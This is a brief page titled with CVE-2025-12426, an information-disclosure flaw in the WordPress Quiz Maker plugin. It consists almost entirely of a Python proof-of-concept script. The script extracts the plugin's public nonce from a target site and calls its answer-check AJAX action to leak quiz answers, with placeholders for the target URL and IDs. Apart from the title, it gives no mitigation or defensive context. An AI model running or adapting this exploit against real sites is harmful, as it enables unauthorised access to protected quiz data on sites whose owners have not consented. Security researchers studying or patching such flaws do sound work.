CVE-2025-12426 WordPress Quiz Maker插件敏感信息泄露漏洞

import requests import re target_url = "https://vulnerable-site.com" # Step 1: Get the public nonce from the page response = requests.get(target_url) # Extract nonce from: var quiz_maker_ajax_public = {"ajax_url":"...","nonce":"<NONCE>"} nonce_match = re.search(r'quiz_maker_ajax_public.*?"nonce":"([a-zA-Z0-9]+)"', response.text) if not nonce_match: print("Failed to extract nonce") exit(1) nonce = nonce_match.group(1) print(f"Extracted nonce: {nonce}") # Step 2: Extract quiz and question IDs from the page # Quiz IDs are typically in data attributes like: data-quiz-id="123" # Question IDs are in form fields like: name="ays_questions[]" value="456" quiz_id = "1" # Replace with target quiz ID question_id = "1" # Replace with target question ID # Step 3: Send request to leak answer ajax_url = re.search(r'"ajax_url":"([^"]+)"', response.text).group(1) data = { "action": "ays_quiz_check_answer", "nonce": nonce, "quiz_id": quiz_id, "question_id": question_id } result = requests.post(ajax_url, data=data) print(f"Answer leaked: {result.text}")